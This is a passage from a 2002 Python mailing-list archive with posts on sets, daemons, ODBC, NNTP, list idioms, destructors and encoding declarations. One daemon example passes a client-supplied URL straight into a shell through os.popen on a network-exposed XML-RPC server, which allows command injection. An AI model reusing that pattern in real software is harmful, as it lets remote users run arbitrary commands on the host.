evens [2, 4, 6, 8, 10] Cheers, // mark From fredrik at pythonware.com Thu May 2 12:44:05 2002 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 02 May 2002 16:44:05 GMT Subject: Newbie: finding the key/index of the min/max element References: <mailman.1020313865.22265.python-list@python.org> <n5aA8.38230$ao1.9110@rwcrnsc54> Message-ID: <p1eA8.35508$n4.7530135@newsc.telia.net> Emile van Sebille wrote: > > Once again, google is your friend: > > > > http://www.google.com/search?q=python+faq > > > > yields: > > > > http://www.python.org/doc/FAQ.html > > I think the call was for a _list_ FAQ, which, to my knowledge, doesn't > yet exist. I also think this is a good idea. google is your friend. http://www.google.com/search?q=comp.lang.python+FAQ http://www.google.com/search?q=python-list+FAQ </F> From huaiyu at gauss.almadan.ibm.com Tue May 21 14:10:30 2002 From: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) Date: Tue, 21 May 2002 18:10:30 +0000 (UTC) Subject: PEP 218 Re: ANN: set-0.1 module available References: <mailman.1021563929.29487.python-list@python.org> <3CE55E8B.1B80EBE3@alcyone.com> <mailman.1021671870.10847.python-list@python.org> <3CE58D54.BD046D02@alcyone.com> <mailman.1021689631.564.python-list@python.org> <3CE5E0D9.6B97951F@alcyone.com> <slrnaeids4.ql.huaiyu@gauss.almadan.ibm.com> <3CE95E02.BAC56F61@alcyone.com> <slrnaejag0.3oi.huaiyu@gauss.almadan.ibm.com> <3CE9C04F.3AD43103@alcyone.com> Message-ID: <slrnael3cm.474.huaiyu@gauss.almadan.ibm.com> Erik Max Francis <max at alcyone.com> wrote: >Huaiyu Zhu wrote: > >> There need to be a different equal operator === (read as "always >> equal") >> that is used to compare keys. > >No doubt such a proposal immediately would doom a revised PEP to >failure. That's the main reason I've been thinking about this for two years without saying much about it. It is necessary. It will not be accepted. What a pity. > >But that isn't the real issue. The problem with hash/identity >collisions within a set is not that defining some metaequality is >problematic (which it is), it's that after the set has been created, a >mutable object can have its value changed, potentially even to something >that clashes with another object (mutable or not) in the same set. As I said several times before (perhaps in a diverging thread), mutable objects should only be compared by identity, not by value. Therefore if a===b, then their contents are guaranteed to be alwasy equal. Mutable and immutable objects are never "always equal": a = {1,2} b = {1,2} const a === b # false a == b # true a.add(3) print a # {1,2,3} a === b # false a == b # false That is, "==" only cares about an instant, but "===" cares for eternity. >Python, as far as I know, does not have any facilities for some kind of >implicit callback to containers that happens whenever an object changes >state, and so this means that once you've already placed mutable objects >in a set, they can change value willy nilly and completely break the >invariant of the set (namely that no two contained objects are >identical), essentially defeating the whole purpose for the set in the >first place. Does not matter. If (a===b), they are refering to the same object. Whatever their contents are change to, they are changed together. If not(a===b), then changing values of a and b will not result in (a===b), even at times when (a==b). This operator is very similar to "is", except that it is semantics-oriented instead of implementation-oriented. That is, there would not be "1 is 1" but "101 is not 101" kind of stuff. The main mental gymnastic needed is regarding "===" as the identity operator, "==" only as the equality operator. Two things can be equal at a time but still not identical. Thus in the the above example a and b are indeed *not* identical, even at the time when their values are equal. Another mental gymnastic needed is realizing that mutable sets, however useful they are, are not mathematical sets. The main difference being that their identities are not defined by their contents. The mathematical model would be a time sequence of sets, which does not have much practical use here, except to show that "{1,2} const" and "{1,2}" are two entirely different beasts. >This issue exists regardless of whether you come up with some concept of >metaequality or not; it will be present as long as the set can contain >mutable objects. It does not depend on mutability per se, but rather on whether mutations disturb identity. The identity operator "===" is so defined that it is not changed by mutations. Huaiyu From jdhunter at nitace.bsd.uchicago.edu Wed May 29 19:35:48 2002 From: jdhunter at nitace.bsd.uchicago.edu (John Hunter) Date: Wed, 29 May 2002 18:35:48 -0500 Subject: daemon dies on xterm kill Message-ID: <m2ptzeedd7.fsf@video.paradise.lost> I am trying to write an xmlrpc server daemon. When I 'exit' the xterm that I launch the daemon in, the exit never completes and I still get output from the server about connection attempts, though I lose my prompt. This occurs whether I launch the program w/ or w/o nohup in the background. I am trying to launch it as a regular user, not root. Is there something wrong with my daemon code or the way I am launching it: --- server code --- #!/usr/local/bin/python import sys, os, time, string import SimpleXMLRPCServer class MyServe: def fetch(self, url): return os.popen('lynx -dump %s' % url).read() pidfile = '/home/jdhunter/.servers/my.pid' port = 5432 def exit(): sys.exit(0) def get_daemon_pid(): if os.path.exists(pidfile): pid = open(pidfile, 'r').read() return int(pid) else: return None def startd(): print 'Starting daemon...', pid = get_daemon_pid() if pid: print 'Daemon appears to be already running with pid %d' % pid exit() if os.fork()==0: os.setsid() pid = os.getpid() open(pidfile, 'w').write('%s\n' % pid) sys.stdout=open("/dev/null", 'w') sys.stdin=open("/dev/null", 'r') try: while(1): # Daemon's main code goes here server = SimpleXMLRPCServer.SimpleXMLRPCServer(("mother", port)) server.register_instance(MyServe()) server.serve_forever() except: print 'Caught an exception trying to start the server; cleaning up' os.remove(pidfile) print 'OK' exit() def stopd(): print 'Stopping daemon...', if not os.path.exists(pidfile): print 'Daemon does not appear to be running' return pid = get_daemon_pid() os.popen('kill -9 %d' % pid) print 'OK' os.remove(pidfile) def usage(): print 'Usage %s start|stop|restart' % sys.argv[0] exit() if len(sys.argv) != 2: usage() if sys.argv[1]=='start': startd() elif sys.argv[1]=='stop': stopd() elif sys.argv[1]=='restart': stopd() time.sleep(1) startd() else: usage() From sholden at holdenweb.com Thu May 9 17:31:14 2002 From: sholden at holdenweb.com (Steve Holden) Date: Thu, 9 May 2002 17:31:14 -0400 Subject: odbc advice? References: <abel0d$anh$1@news.ycc.yale.edu> Message-ID: <uXBC8.45889$m26.19583@atlpnn01.usenetserver.com> "don" <donald.braman at yale.edu> wrote ... > I'm trying to update table in a SQL Server 2000 database. The following (and > other similar) code hangs Python about half of the time when I run it and > then, once hung, will hang every time until I reboot. Does anyone have any > tips on handling odbc connections in Python? I've been hunting around for a > while, but haven't found descriptions of hangs like this. My reference of > choice (Python Web Programming) tells me the ODBC driver isn't ready for > prime-time. I'm not sure I have any other options, though. Any help > appreciated. -Don > > ++++++++++++++++++++++++ > > import dbi, odbc > > conn = odbc.odbc('mydb') > > cur = conn.cursor() > > cur.execute("""UPDATE Cases SET Cases.Opinion = NULL WHERE > updateopinion=1""") > mxODBC from www.egenix.com is great, and free for non-commercial purposes. If this is a commercial task, I can't imagine many circumstances under which the cost of the license wouldn't be immediately repaid by lack of hassle on the ODBC front. One other option, if you have a compiler, etc., would be to try recompiling Dave Cole's Sybase module in the SQl Server environment. Some time ago there was sufficient commonality between the products that this worked, but I've heard no recent reports. Then you wouldn't need ODBC at all. Great choice of reference material, by the way ;-) regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From com-nospam at ccraig.org Fri May 24 21:15:28 2002 From: com-nospam at ccraig.org (Christopher A. Craig) Date: 24 May 2002 21:15:28 -0400 Subject: 2**HUGENUMBER Why not optimise it? In-Reply-To: <lkg00j5f04.fsf@pc150.maths.bris.ac.uk> References: <LNBBLJKPBEHFEDALKOLCCEHAPHAA.tim.one@comcast.net> <mailman.1022132680.2864.python-list@python.org> <lkg00j5f04.fsf@pc150.maths.bris.ac.uk> Message-ID: <t1wd6vl81u7.fsf@kermit.wreck.org> Michael Hudson <mwh at python.net> writes: > Do you feel like implementing Karatsuba multiplication in > longobject.c? That might actually be some use... Done. See patch 560379. Please be warned, though, this is my first attempt at a patch. -- Christopher A. Craig <com-nospam at ccraig.org> "Only two things are infinite, the universe and human stupidity, and I'm not sure about the former." Albert Einstein From 53ab2750 at meowing.net Sat May 11 11:57:06 2002 From: 53ab2750 at meowing.net (itsy bitsy meowbot) Date: Sat, 11 May 2002 15:57:06 GMT Subject: How to use NNTPLib ? References: <abiug1$kqi$1@aphrodite.grec.isp.9tel.net> Message-ID: <MPG.1747094938b2d43989680@localhost> D?butant wrote: > What header, in wich order, and so on...does I must put in 'article' ? > RFC are not very clear for me. You are right, the RFCs have never been very clear on what is needed. For POST, the minimal required headers are From, Newsgroups and Subject. Order is not important. The server will supply the rest of the mandatory headers (Date, Path, Message-ID) if you leave them out. From jb at cascade-sys.com Fri May 24 10:37:16 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Fri, 24 May 2002 07:37:16 -0700 Subject: How to get login computer's domain name? References: <b6c515ff.0205240513.6acaf180@posting.google.com> Message-ID: <3CEE501C.7D18591A@cascade-sys.com> import socket socket.gethostname() "Beverly K. Pope" wrote: > Is there a module that has commands for getting the domain name of the > computer to which I am logged in (not "local")? Or do I have to open > a pipe to the appropriate command? > > Thanks! > -- > http://mail.python.org/mailman/listinfo/python-list -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From merkosh at hadiko.de Mon May 13 20:08:18 2002 From: merkosh at hadiko.de (Uwe Mayer) Date: Tue, 14 May 2002 02:08:18 +0200 Subject: dynamic functions Message-ID: <MPG.174a73e11c38fffb989681@news.rz.uni-karlsruhe.de> Hi, I want to concatenate boolean functions, i.e. lambda x: x < 10; during runtime with "and" and "or". However something like: d = lambda x: x < 10 d = lambda x: d(x) and (x %2 == 0) won't work and will end up in an infinite recursion (as far as I can figure out). How do you do something like that in python? Thanks in advance Yours Uwe From logiplexsoftware at earthlink.net Fri May 10 16:42:33 2002 From: logiplexsoftware at earthlink.net (Cliff Wells) Date: Fri, 10 May 2002 13:42:33 -0700 Subject: is there a better way... In-Reply-To: <20020510173237.C25906@prim.han.de> References: <BC74F8F7E87DD511990C000103E2FEFA302C@XCHG> <20020510173237.C25906@prim.han.de> Message-ID: <20020510134233.3dbabbac.logiplexsoftware@earthlink.net> On Fri, 10 May 2002 17:32:37 +0200 holger krekel wrote: > Christopher Encapera wrote: > > to loop over a list and replace an element based on its value than: > > > > x = [1,2,3,4,5,6,7,8,9] > > y = len(x) > > z = 0 > > while z < y: > > element = x[z] > > if element == 5: x[z] = '678' > > z = z +1 > > > > > > Another words is there a way to do this with a "for" statement - some method > > that will return the current z (of x[z]) in the loop? > > def subst(elem): > if elem==5: > elem='678' > return elem > > m= map(subst, [1,2,3,4,5,6,7,8,9]) > >>> print m > [1, 2, 3, 4, '678', 6, 7, 8, 9] This is fast, but not general since the new value is hardcoded in subst(). Some variations: def replaceItem(l, old, new): def subst(i): if i == old: return new return i return map(subst, l) Or using list comprehension (shorter, but not quite as fast): def replaceItem(l, old, new): return [[i, new][i == old] for i in l] Times are 0.09s and 0.13s respectively for replacing every 4th item in a 40,000 item list of ints. However, neither of these is as fast as the most obvious solution (posted by Mark McEahern earlier): def replaceItem(l, old, new): x = list(l) for i in range(len(x)): if x[i] == old: x[i] = new return x Which has a time of 0.06s on the same list. It is also better in that it can be easily changed to modify the list in place: def replaceItem(l, old, new): for i in range(len(l)): if l[i] == old: l[i] = new Which I didn't time, but would clearly be a bit faster still (and more memory-efficient). As an aside, the solution I posted earlier using list.index() had horrible times as the number of items to be replaced increased :( I suppose it should have been obvious (or maybe it was - just not to me at that moment ;) Regards, -- Cliff Wells, Software Engineer Logiplex Corporation (www.logiplex.net) (503) 978-6726 x308 (800) 735-0555 x308 From jepler at unpythonic.net Tue May 21 16:02:26 2002 From: jepler at unpythonic.net (Jeff Epler) Date: Tue, 21 May 2002 15:02:26 -0500 Subject: Destructor In-Reply-To: <Pine.LNX.4.33.0205211409560.28461-100000@vampire.cs.utexas.edu> References: <Pine.LNX.4.33.0205211409560.28461-100000@vampire.cs.utexas.edu> Message-ID: <20020521150225.C4629@unpythonic.net> The destructor (__del__ method) of an object is never invoked while the object still has non-weak references. (AKA "the refcount is nonzero") So merely having del f or f = None may not cause this necessary condition, as in f = g = Thingy() del f (g still has a strong reference to the object that f referenced) Furthermore, as I undersand the Language Reference, the destructor need not be invoked as soon as the refcount drops to zero -- in fact, destructors could be called in a different order than the refcounts decrease, or be postponed forever. So if you have class C: def __init__(self, name): self.name = name def __del__(self): print "dying", self.name c = C("c") d = C("d") del c print "blah" del d you might get blah dying d dying c or dying c blah dying d or blah but certainly not dying d blah dying c (Probably the CPython implementation you have only prints the 'dying c/blah/dying d' order, however) The 1.5-era language manual only gives cycles and program termination as reasons __del__ is not called. I haven't checked a newer version of the language manual.. Jeff From claird at starbase.neosoft.com Fri May 24 09:42:42 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 24 May 2002 08:42:42 -0500 Subject: How Are Unlimited Precision Integers Accomplished? References: <e1eff209.0205221515.6135fc6f@posting.google.com> <7xbsb7zrlc.fsf@ruckus.brouhaha.com> <e1eff209.0205231601.61fab12b@posting.google.com> Message-ID: <A52E4D5BFDEF5D64.F4377F3F207D26F6.F56EE91274D827F0@lp.airnews.net> In article <e1eff209.0205231601.61fab12b at posting.google.com>, Uncle_Alias <zephinilium at yahoo.com> wrote: . . . >So what fun things can we do with this? Anyone have an algorithm for >calculating pi? <URL: http://www.cacr.caltech.edu/~roy/upi/ > Oh, all right: <URL: http://citeseer.nj.nec.com/5892.html >. And <URL: http://www.joyofpi.com/pilinks.htm >. And <URL: http://mathworld.wolfram.com/PiFormulas.html >. -- Cameron Laird <Cameron at Lairds.com> Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From jeff at ccvcorp.com Wed May 8 14:56:04 2002 From: jeff at ccvcorp.com (Jeff Shannon) Date: Wed, 8 May 2002 11:56:04 -0700 Subject: "Inserting" a line in a text file? References: <ab9duj$dre$1@newsg4.svr.pol.co.uk> <mailman.1020805395.9170.python-list@python.org> <ab9gnu$g5muf$1@ID-99293.news.dfncis.de> Message-ID: <MPG.17431487e03e19da9896da@news.nwlink.com> In article <ab9gnu$g5muf$1 at ID-99293.news.dfncis.de>, William Park says... > > > On Tue, May 07, 2002 at 09:34:02PM +0100, Duncan Smith wrote: > >> I need to (in effect) insert a single line at the beginning of an > >> existing text file (a dumped MySQL database, so potentially large). Is > >> there anything cuter than eg. creating a temporary file containing the > >> single line, reading the lines from the data file, appending them to the > >> temporary file, deleting the data file, renaming the temporary file? > > If you have access to 'ed' or 'vi', then you can insert using the text > editors. Yes, but internally, those editors are doing the exact same thing that he's hoping to avoid -- reading the file into memory and writing it back out with the extra line inserted. Really, there's no practical way to avoid this -- it's just the way that filesystems work. You can minimize the damage by reading in smallish chunks at a time (say, 8k) but you *will* have to spin through the entire file. I'd suggest using a database like MySQL to prevent the need to insert at the beginning of a flat file, but.... >ahem< ;) -- Jeff Shannon Technician/Programmer Credit International From martin at v.loewis.de Mon May 13 02:32:44 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 13 May 2002 08:32:44 +0200 Subject: Comment on PEP 263 - Defining Python Source Code Encodings References: <GCEDKONBLEFPPADDJCOECEIBDBAA.whisper@oz.net> <mailman.1021103664.20500.python-list@python.org> <wa+NxjASoO38EwWU@jessikat.fsnet.co.uk> <m3g00y94zj.fsf@mira.informatik.hu-berlin.de> <abmj00$egf$0@216.39.172.122> Message-ID: <m3661simlv.fsf@mira.informatik.hu-berlin.de> bokr at oz.net (Bengt Richter) writes: > I think Robin is alluding to something like the problem of an > encoding-conversion save-as export filter utility fed with a script > with a given encoding and containing a magic comment. If the utility > is not magic-comment-syntax-aware and able to change the comment to > reflect the new encoding, there would be a problem to fix manually. Indeed, that would be the case. Hopefully, few editors will silently *change* the encoding. > ISTM mixing meta-data and data in an ad-hoc way is not good, and > encoding is meta-data w.r.t. the file it describes. I disagree. Recent history has taught us "always know thy encoding"; IETF requires that every protocol to transfer text either specifies a fixed encoding, or a mechanism to indicate the encoding dynamically. The risk of data and metadata becoming detached is just too high if they are not mixed. Also, I question that the encoding is meta-data: this information affects the meaning of the Python program just as any other program statement. Regards, Martin From stuart at bmsi.com Wed May 8 13:57:13 2002 From: stuart at bmsi.com (Stuart D. Gathman) Date: Wed, 08 May 2002 13:57:13 -0400 Subject: sgmllib too slow References: <_FHB8.41355$YQ1.17953481@typhoon.southeast.rr.com> <Y4LB8.36621$n4.7830507@newsc.telia.net> <ab95gc$5uc$1@nntp2-cm.news.eni.net> <m3n0vb6wkw.fsf@mira.informatik.hu-berlin.de> <8h3C8.14403$zW3.346467@news1.tin.it> Message-ID: <abbotp$b38$1@nntp1-cm.news.eni.net> On Wed, 08 May 2002 02:08:04 -0400, Alex Martelli wrote: > Martin v. Loewis wrote: > >> "Stuart D. Gathman" <stuart at bmsi.com> writes: >> >>> What is the recommended way to make distutils override a standard >>> python package with a drop-in replacement such this? >> >> The recommended way is not to attempt overriding standard Python >> packages. Name them differently, instead. > > How would it help in the case in point? Say the new sgmllib has > identical functionality to the one distributed with Python but is 10 > times faster. Why _shouldn't_ I be able to install it instead of the Well, I seem to have sparked a controversy! I too was leary about permanently replacing the default versions - that is why I put the new packages in site-packages. However, the ideal solution is to place the drop-in replactements in their own directory - example /usr/local/lib/python2.1/turbo, then put this in PYTHONPATH: $ export PYTHONPATH=/usr/local/lib/python2.1/turbo $ python test.py This adds the turbo modules to the front of the module path. This allows the tests to be run with and without the new C code, allowing me to check a) is it actually faster? b) does it still work? My initial results are: a) Yes, cuts total application time by more than half. b) No, several things are incompatible in the C version. A lot more work needs to be done before it is truly a "drop-in". Since I *have* to improve the performance to stay with Python, I plan to both tweak my code to work with sgmlop, and try to fix some of the problems with sgmlop. -- Stuart D. Gathman <stuart at bmsi.com> Business Management Systems Inc. Phone: 703 591-0911 Fax: 703 591-6154 "Confutatis maledictis, flamis acribus addictis" - Mozart background song for the Microsoft "Where do you want to go from here?" commercial. From noah at noah.org Sat May 11 02:14:26 2002 From: noah at noah.org (Noah) Date: Fri, 10 May 2002 23:14:26 -0700 Subject: How do I modify global variables from a signal handler? In-Reply-To: <002001c1f8a0$f9959470$445d4540@Dell2> Message-ID: <PAENINBOOODFDEPOKPKCAEJICOAA.noah@noah.org> Oh, duh... -----Original Message----- From: Brian Quinlan [mailto:brian at sweetapp.com] Sent: Friday, May 10, 2002 9:05 PM To: 'Noah'; python-list at python.org Subject: RE: How do I modify global variables from a signal handler? > This behavior isn't very surprising given the nature of signals > and the fun state they can leave the stack. > I assume that I have to do something with frame in the signal handler, > but the use of frame is not documented -- nor is the use of > Frame Objects as far as I can tell. You are looking to deep. You just have to declare the use of global variables: GLOBAL_SIGCHLD_RECEIVED = 0 def childdied (signum, frame): + global GLOBAL_SIGCHLD_RECEIVED print 'Signal handler called with signal', signum GLOBAL_SIGCHLD_RECEIVED = 1 Cheers, Brian From tismer at tismer.com Fri May 3 07:02:38 2002 From: tismer at tismer.com (Christian Tismer) Date: Fri, 03 May 2002 13:02:38 +0200 Subject: Low level python References: <EFEFIHAINIINNELLHFAIOEJFCDAA.kseehof@neuralintegrator.com> Message-ID: <3CD26E4E.9040605@tismer.com> Ken Seehof wrote: >>You guys are scaring me. I don't feel safe on the cutting edge! >> >>It actually doesn't look that hard using WinDriver (they even have device >>drivers written in VB!) >> >>One prob I have to convince the rent payers: It uses 2-3Mb of RAM when >>running! Who wants a 3Mb device driver? >> >>I remember that deeply embedded python recompile python dropping langauge >>features out. Is there an easy way to do this? Yes but why. >>Anyone know how I can reduce the memory footprint of Python? Write all your device drivers and finally your system with this one Python kernel. Then you are small, compared to what we have nowadays. >>Matthew Sherborne > > > Yeah. You could write the operating system in python! That way all the > python device drivers won't cost extra :-) > > But seriously, you should check out Gordon McMillan's work: > http://starship.python.net/crew/gmcm/distribute.html I think this is serious. Who really needs an operating system, a file system and all of that? Forgetting about other applications, I really believe that one could write a pretty nice OS with Python, object oriented from the ground. This would be a real fun project, provided there were fun-ding. :-) -- Christian Tismer :^) <mailto:tismer at tismer.com> Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From matt at clondiag.com Tue May 21 04:28:55 2002 From: matt at clondiag.com (Matthias Kirst) Date: Tue, 21 May 2002 10:28:55 +0200 Subject: Python User Group in Jena/Germany Message-ID: <3cea0216@post.newsfeed.com> *** post for FREE via your newsreader at post.newsfeed.com *** I want to setup a Python User Group in Jena/Germany. Are there any folks to follow? Matthias -----= Posted via Newsfeed.Com, Uncensored Usenet News =----- http://www.newsfeed.com - The #1 Newsgroup Service in the World! -----== 100,000 Groups! - 19 Servers! - Unlimited Download! =----- From whisper at oz.net Sat May 11 06:17:01 2002 From: whisper at oz.net (David LeBlanc) Date: Sat, 11 May 2002 03:17:01 -0700 Subject: Thoughts on new grammar rules (PEP 284 in particular) In-Reply-To: <NR5D8.46917$zW3.573335@news1.tin.it> Message-ID: <GCEDKONBLEFPPADDJCOEIEIJDBAA.whisper@oz.net> > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Alex Martelli > Sent: Saturday, May 11, 2002 2:53 > To: python-list at python.org > Subject: Re: Thoughts on new grammar rules (PEP 284 in particular) <snip> > > - Could make it too convenient to add obscure special-purpose > > features, leading to unnecessary bloat. > > Ay, there's the rub. Multiple mutually incompatible bloatings > as each group of clever people rushes off to invent their own > clever sets of macros (<horror> <recoil/> </horror>). > > > Alex Then the bloatings harden and you have a perl ;-) I just read GvR's comment on this PEP on python.org, and I agree with his observation that having the controlling iteration variable buried amid the expression could be confusing. Dave LeBlanc Seattle, WA USA From jicondon at us.ibm.com Tue May 14 19:34:56 2002 From: jicondon at us.ibm.com (dW) Date: 14 May 2002 16:34:56 -0700 Subject: wxHTML for beginners: Building basic browser functionality with wxPython Message-ID: <dc128977.0205141534.3c0049a6@posting.google.com> wxHTML for beginners: Building basic browser functionality with wxPython This article explains how to wmbed a custom Web browser and integrate customized features in your application using the wxHTML widget. http://www-106.ibm.com/developerworks/linux/library/l-wxpython?open&l=968,t=gr also: Charming Python Learn about SimpleParse, a module that provides an EBNF-style syntax and clarifies the expression of grammars. http://www-106.ibm.com/developerworks/linux/library/l-simple.html?open&l=968,t=gr From simon at nospam.demon.co.uk Sat May 4 19:19:34 2002 From: simon at nospam.demon.co.uk (Simon Foster) Date: Sun, 5 May 2002 00:19:34 +0100 Subject: Zombie Threads (?) References: <mailman.1020443827.21533.python-list@python.org> Message-ID: <3cd46c87$0$8508$cc9e4d1f@news.dial.pipex.com> "James J. Besemer" <jb at cascade-sys.com> wrote in message news:mailman.1020443827.21533.python-list at python.org... > > > When I run PS I notice that there are a number of threads with a Zombie > status. > PS doesn't show threads, only processes. You've got zombie processes not threads. All threads run in the same process, that's why they're threads not processes, or am I missing something? From phd at phd.pp.ru Tue May 21 04:21:16 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Tue, 21 May 2002 12:21:16 +0400 Subject: Python (2.2) on Solaris 8 (64-bit) In-Reply-To: <m3wutyjzza.fsf@mira.informatik.hu-berlin.de>; from martin@v.loewis.de on Mon, May 20, 2002 at 11:01:13PM +0200 References: <79d1869.0205200713.324bee25@posting.google.com> <mailman.1021908699.30036.python-list@python.org> <m3wutyjzza.fsf@mira.informatik.hu-berlin.de> Message-ID: <20020521122116.D7968@phd.pp.ru> On Mon, May 20, 2002 at 11:01:13PM +0200, Martin v. Loewis wrote: > > http://groups.google.com/groups?hl=en&lr=&safe=off&q=python+solaris+problem&btnG=Google+Search&meta=group%3Dcomp.lang.python.%2A > > How does that help? It shows that the man is not alone in his problems, that there are real problem building Python on Solaris, and that the problem with _socket appears too often. It also shows that one should not blindly report a problem, but try to read FAQs and search archives. There are also some helpful advices in these postings. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From op73418 at mail.telepac.pt Thu May 16 11:22:50 2002 From: op73418 at mail.telepac.pt (Gonçalo Rodrigues) Date: Thu, 16 May 2002 16:22:50 +0100 Subject: Strange result on os.environ Message-ID: <2cj7eucrjmbqj509b29jeaf6no6lgqboa5@4ax.com> Hi, os.environ is supposed to be a mapping with keys the environment variables. Then what does it mean the following? PythonWin 2.2.1 (#34, Apr 15 2002, 09:51:39) [MSC 32 bit (Intel)] on win32. Portions Copyright 1994-2001 Mark Hammond (mhammond at skippinet.com.au) - see 'Help/About PythonWin' for further copyright information. >>> import os >>> for key in os.environ: ... print key ... Traceback (most recent call last): File "<interactive input>", line 1, in ? File "C:\Python22\lib\os.py", line 387, in __getitem__ return self.data[key.upper()] AttributeError: 'int' object has no attribute 'upper' >>> If I do print os.environ I get a nice (but long) string representing a dict with keys strings in upper case. I'm using ActiveState Python distro (2.2.1) in win2k. TIA and all the best, Gon?alo Rodrigues From rhymes at myself.com Wed May 8 13:26:02 2002 From: rhymes at myself.com (Lawrence Oluyede) Date: Wed, 08 May 2002 19:26:02 +0200 Subject: Comments References: <Pine.LNX.4.33.0205081059490.3639-100000@vampire.cs.utexas.edu> Message-ID: <66midu8ljvf2agp7gna1qgudeimk77o9cs@4ax.com> Rajat Chopra <rajat at cs.utexas.edu> wrote: >Does anyone know if Python supports multi-line comments? I believe Java >and C++ (and even non-ANSI C) have /* ... */ for multi-line. Does Python >have anything comparable? You should use this: """ this is a multiline comment """ start and end the comment with three double-quotes -- Lawrence Oluyede rhymes at myself.com From fperez528 at yahoo.com Mon May 6 17:56:52 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Mon, 06 May 2002 15:56:52 -0600 Subject: degrees and radians. References: <3330ba.s35.ln@127.0.0.1> <ab6qd6$ilk$1@bob.news.rcn.net> <ab6rvq$ka4$1@peabody.colorado.edu> <dPCB8.68390$v92.28729@atlpnn01.usenetserver.com> Message-ID: <ab6ucn$lkj$1@peabody.colorado.edu> Steve Holden wrote: > Let's make that pi/180.0 so it works before the division unification takes > place, shall we? >> >> In [8]: to_deg = 1/to_rad >> >> In [9]: sin pi/4 >> ------> sin (pi/4) > > Similarly this should be pi/4.0 > It doesn't matter, math.pi is a float (unless Guido decides to use the Congress version of pi==3 ;) Cheers, f. From djc at object-craft.com.au Wed May 1 11:56:53 2002 From: djc at object-craft.com.au (Dave Cole) Date: 02 May 2002 01:56:53 +1000 Subject: Python Webpages References: <aagr7h$5c9$1@maud.ifi.uio.no> <aalshs$3p5$1@beta.qmul.ac.uk> Message-ID: <m3g01bj1yy.fsf@ferret.object-craft.com.au> >>>>> "Peter" == Peter Dobcsanyi <dpeter at designtheory.org> writes: Peter> While we are at it, I would be interested in opinions on Peter> Albatross: Peter> http://object-craft.com.au/projects/albatross/ I suppose I shouldn't really respond since I am slightly biased in my views... Albatross has a templating system which is a bit like DTML. So to compare with the jonpy example for output: > Python already has several equivalents of this. I think you can do > better though, which is what jonpy does. You instead do simply: > > $$title$$ > > and then in your Python code: > > class main(wt.TemplateCode): > def title(self): > return "Hello there!" In Albatross: ctx.locals.title = 'Hello there!' and in the template: <al-value expr="title"> > This more object-oriented approach is both simpler and more powerful, > since you can use class inheritance to very easily make re-usable > configurable objects. Have repeated sections such as table rows is > also very easy using 'sections': > > <!--wt:newsitem--> > <tr><td><a href="newsitem.html?id=$$%ID$$">$$title$$</a></td></tr> > <!--wt:/newsitem--> > > class main(wt.TemplateCode): > class newsitem(rowaccess.RowAccess): > def main(self, template): > dbc = website.dbh.cursor() > dbc.execute("SELECT ID,title FROM newsitems") > for self.row in dbc.fetchall() > self.process(template) This translates to the following template: <al-for iter="r" expr="newsitems"> <tr><td><al-a expr="'newsitem.html?id=%s' % r.value().ID"><al-value expr="r.value().title"></a></td></tr> </al-for> The al-for tag uses an iterator object (r in this case) to iterate over a sequence. Special care is taken to ensure that __getitem__() is only called once for each element of the sequence so you can use classes which just implement the sequence protocol (xreadlines() for example). The current element of the sequence is available via the value() method of the iterator. And the code: c = website.dbh.cursor() c.execute("SELECT ID,title FROM newsitems") ctx.locals.newsitems = c.fetchall() The templating is a bit of a sideshow in some ways when you start wondering how you are going to accept browser input back into the complex structures that you just traversed to get your templates to produce output. Consider the case where you want to have a checkbox next to each news item which appears in the output list. In Albatross some of the work is done for you. The template code could look like this: <al-for iter="r" expr="newsitems"> <tr><td> <al-input type="checkbox" nameexpr="'newsitems[%d].check' % r.index()"> <al-a expr="'newsitem.html?id=%s' % r.value().ID"> <al-value expr="r.value().title"></a> </td></tr> </al-for> And then the code which prepares the newsitems could look like this: c = website.dbh.cursor() c.execute("SELECT ID,title,check=0 FROM newsitems") ctx.locals.newsitems = c.fetchall() ctx.add_session_vars('newsitems') When the browser submitted a response the input would transparently set the check attribute of the respective row object to 'on' if the user checked that box during input. If for any reason you displayed the same list of row objects again (without fetching them from the database again), the value of the just input check attribute would control the presence of the checked attribute in the HTML output --- all without you writing a single line of code. That is quite a bit of tedious code you didn't have to write. It gets more interesting for nested data such as trees... Check out this sample: http://www.object-craft.com.au/cgi-bin/alsamp/tree1/tree.py The tree display is explained here: http://www.object-craft.com.au/projects/albatross/albatross/tug-tree.html And the input tag name alias process is explained in point 3 of this page: http://www.object-craft.com.au/projects/albatross/albatross/tag-input-alias.html - Dave -- http://www.object-craft.com.au From quitelikely at yahoo.com.au Fri May 3 10:54:01 2002 From: quitelikely at yahoo.com.au (Patrick W) Date: 04 May 2002 00:54:01 +1000 Subject: Python vs. Perl, which is better to learn? References: <mailman.1020147892.13578.python-list@python.org> <9F74AA1B18A57488.23FAAF6892B1E10D.AAAE27FF654FB148@lp.airnews.net> <hoTz8.36930$8D3.1079778@news1.tin.it> <Pine.SOL.4.30.0205022147140.17672-100000@mimosa.csv.warwick.ac.uk> <B3iA8.91514$vF6.2737545@news2.tin.it> <91acf731.0205030642.580a9c59@posting.google.com> Message-ID: <82pu0dl1ti.fsf@acropolis.localdomain> jason at jvoegele.com (Jason Voegele) writes: > [...] > On the other hand, the ability to call functions without parentheses > is 